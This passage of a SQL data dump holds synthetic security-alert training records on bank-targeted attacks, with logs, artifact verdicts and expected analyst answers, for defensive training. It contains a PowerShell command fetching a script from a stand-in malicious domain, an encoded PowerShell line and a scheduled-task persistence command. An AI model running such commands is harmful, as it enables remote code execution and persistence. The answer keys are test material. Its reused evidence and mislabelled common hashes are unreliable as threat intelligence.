attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(811, 'ATM Software Manipulation Attempt', 'high', 'ATM Software Logs', 'An attempt was detected to manipulate ATM software, potentially allowing unauthorized cash withdrawals.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_id\":\"ATM-EXEC-005\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.100\",\"username\":\"atm_user\",\"process_name\":\"atm_dispense.exe\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"action\":\"Execution\",\"status\":\"Attempted execution of unauthorized software detected\",\"remarks\":\"Detected suspicious execution attempt exploiting ATM software vulnerability.\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ATM software exploitation campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal ATM machine IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"atm_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"clean\",\"details\":\"Registered ATM service account.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"atm_dispense.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Executable used in unauthorized ATM cash withdrawal attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with ATM manipulation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(812, 'Card Processing Network Breach', 'high', 'Card Processing Logs', 'Sensitive data from card processing networks is extracted to facilitate fraudulent transactions. A suspicious outbound connection was detected transferring sensitive card data.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:10Z\",\"event_id\":\"123456\",\"source_ip\":\"10.1.2.3\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"export_data_2023.zip\",\"file_hash\":\"a9b1c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"event_description\":\"Data transfer detected to external IP suspected for exfiltration.\",\"protocol\":\"HTTPS\",\"bytes_sent\":10485760,\"application\":\"card_process_app_v1.2\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with card data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of card processing server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"export_data_2023.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal System\",\"verdict\":\"suspicious\",\"details\":\"Filename indicates potential data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a9b1c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltration malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(813, 'Money Mule Coordination', 'medium', 'Communications Monitoring', 'Detected coordination with a network of mules to physically collect dispensed cash. Communication with known malicious IPs observed.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:35Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"username\":\"jdoe\",\"email\":\"mule_coordinator@example.com\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"money_mule_schedule.xlsx\",\"malicious_command\":\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\",\"communication_type\":\"email\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known threat actor IP associated with financial crimes.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"mule_coordinator@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual email activity related to financial transactions.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used in financial scams.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(814, 'Anomalous Network Traffic Spikes', 'high', 'Network Traffic Monitoring', 'Network traffic monitoring has detected significant spikes in outbound traffic correlating with known exfiltration patterns. The traffic appears to be directed towards an external IP address associated with previous malicious activity. The group is potentially attempting to cover their tracks while exfiltrating remaining valuable information.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"bytes_sent\":10485760,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"md5_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\",\"filename\":\"final_report.pdf\",\"action\":\"outbound_traffic\",\"message\":\"Detected anomalous outbound traffic spikes destined for external IPs during data exfiltration phase.\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host initiating the traffic.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous exfiltration activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with known malicious payloads.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_system\",\"verdict\":\"internal\",\"details\":\"Username of the account used to initiate the transaction.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"final_report.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_system\",\"verdict\":\"suspicious\",\"details\":\"Filename observed in outbound exfiltration traffic.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(815, 'Initial Compromise via Spear Phishing', 'high', 'Email gateway logs', 'Lazarus Group initiated an attack by targeting key personnel with spear-phishing emails, aiming to gain access to the bank\'s internal network. The email contained a malicious attachment disguised as a routine document.', 'Social Engineering', 'T1566.001 - Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T08:45:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"email_subject\":\"Quarterly Financial Report Attached\",\"email_from\":\"john.doe@trustedsource.com\",\"email_to\":\"ceo@bank.com\",\"attachment_name\":\"Q3_Report_2023.docx\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"malicious_url\":\"http://malicious-link.com/download\",\"user_agent\":\"Outlook/16.0.13328.20408\"}', '2026-01-12 22:20:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Records\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal bank network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing campaigns by Lazarus Group.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Compromise via Spear Phishing\",\"date\":\"2026-02-01T20:32:22.465Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(816, 'Deployment of Custom Malware', 'critical', 'Endpoint detection systems', 'Custom malware associated with the Lazarus Group was detected attempting to manipulate SWIFT software on a financial system endpoint. This malware is designed to facilitate fraudulent transactions by altering legitimate financial data.', 'Malware', 'T1071.001 - Application Layer Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:32:11Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.20\",\"file_name\":\"swift_update.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"username\":\"finance_user\",\"action\":\"malware_deployed\",\"description\":\"Custom malware swift_update.exe with hash b1946ac92492d2347c6235b4d2611184 deployed on 192.168.1.20 by user finance_user from IP 203.0.113.45\"}', '2026-01-12 22:20:52', '2026-02-16 17:58:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous Lazarus Group activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Endpoint within financial department network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with custom malware used to manipulate financial transactions\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"swift_update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection Systems\",\"verdict\":\"malicious\",\"details\":\"Executable designed to interfere with SWIFT operations\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"finance_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(817, 'Establishing Persistence in the Network', 'high', 'Network traffic analysis', 'The Lazarus Group has been identified using persistence techniques to maintain access in the network, ensuring their ability to monitor and execute transactions over an extended period. Anomalous network traffic was detected indicating the deployment of a scheduled task to run a known backdoor malware associated with Lazarus activities.', 'Persistence Mechanisms', 'T1053', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"23.89.34.12\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0\",\"filename\":\"scheduled_task.exe\",\"file_hash\":\"e9b1c3f4a5b6e7d8f9c0a1b2c3d4e5f6\",\"command_line\":\"schtasks /create /tn \\\"UpdateTask\\\" /tr \\\"C:\\\\Windows\\\\system32\\\\scheduled_task.exe\\\" /sc daily /st 02:00\",\"username\":\"admin_user\",\"tags\":[\"Lazarus Group\",\"Persistence\",\"Scheduled Task\"]}', '2026-01-12 22:20:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"23.89.34.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e9b1c3f4a5b6e7d8f9c0a1b2c3d4e5f6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known Lazarus backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"scheduled_task.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Filename frequently used in Lazarus persistence mechanisms.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"User account used to schedule the malicious task.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
